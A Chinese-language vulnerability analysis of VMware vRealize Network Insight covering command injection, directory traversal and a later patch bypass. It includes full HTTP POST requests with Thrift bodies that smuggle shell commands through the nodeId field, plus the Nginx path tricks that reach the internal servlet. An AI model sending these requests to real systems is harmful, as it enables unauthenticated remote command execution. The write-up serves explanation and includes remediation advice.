VMware VRealize Network Insight 命令注入和目录穿越及补丁绕过
字数 1214 2025-08-25 22:59:09
VMware vRealize Network Insight 命令注入和目录穿越漏洞分析及补丁绕过
漏洞概述
本文详细分析 VMware vRealize Network Insight (现更名为 Aria Operations for Networks) 中的两个关键漏洞:
- 未授权命令注入漏洞 (CVE-2022-31678)
- 目录穿越漏洞 (CVE-2022-31679)
以及后续发现的补丁绕过技术 (CVE-2023-20887)
漏洞分析
VMSA-2022-0031 漏洞
1. 未授权命令注入漏洞
漏洞位置:
com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundlescom.vnera.SaasListener.ServiceThriftListener.ServiceImpl#createSupportBundle
漏洞成因:
- 系统使用 Thrift RPC 协议进行通信
createSupportBundle方法中nodeId参数可控- 参数直接拼接进命令中执行,未做任何过滤
调用链:
ManagementResource#createSupportBundles →
ServiceImpl#createSupportBundle →
ScriptUtils#evictPublishedSupportBundles
2. 目录穿越漏洞
漏洞位置:
com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#downloadFile
漏洞成因:
- 文件下载功能未对路径进行严格校验
- 攻击者可构造特殊路径访问系统任意文件
漏洞利用细节
Thrift RPC 服务暴露
- Nginx 配置不当导致 Thrift RPC 服务可被外部访问
- 原始配置只允许 127.0.0.1 访问
/saasresttosaasservlet - 但可通过
/saasresttosaasservlet/绕过限制
命令注入利用
请求示例:
POST /saasresttosaasservlet/ HTTP/2
Host: 192.168.1.155
Content-Type: application/x-thrift
Accept: application/x-thrift
User-Agent: Java/THttpClient/HC
Content-Length: 93
[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/aaa;ls "}}]
关键点:
- 使用 Thrift 协议格式
nodeId参数 ("2":{"str":"..."}) 包含恶意命令- 命令通过分号分隔注入
VMSA-2023-0012 补丁绕过
补丁问题:
- 初始补丁只修复了
/saasresttosaasservlet的精确匹配 - 忽略了更宽松的
/saaslocation 块
绕过方法:
使用 /saas./resttosaasservlet 路径
绕过利用请求:
POST /saas./resttosaasservlet HTTP/2
Host: 192.168.1.155
User-Agent: Java/THttpClient/HC
Accept: application/x-thrift
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/asdasd;ls "},"4":{"lst":["str",0]}}]
修复建议
- 对所有用户输入进行严格过滤和验证
- 避免直接拼接命令,使用参数化执行方式
- 加强 Nginx 配置的安全性,避免路径绕过
- 限制 Thrift RPC 服务的访问权限
- 及时应用 VMware 发布的最新安全补丁
总结
该漏洞链展示了从配置不当到命令注入的完整攻击路径,强调了:
- 输入验证的重要性
- 服务暴露的最小化原则
- 补丁完整性的必要性
- 多层防御的必要性
管理员应及时应用所有相关补丁,并审查系统配置,确保类似漏洞无法被利用。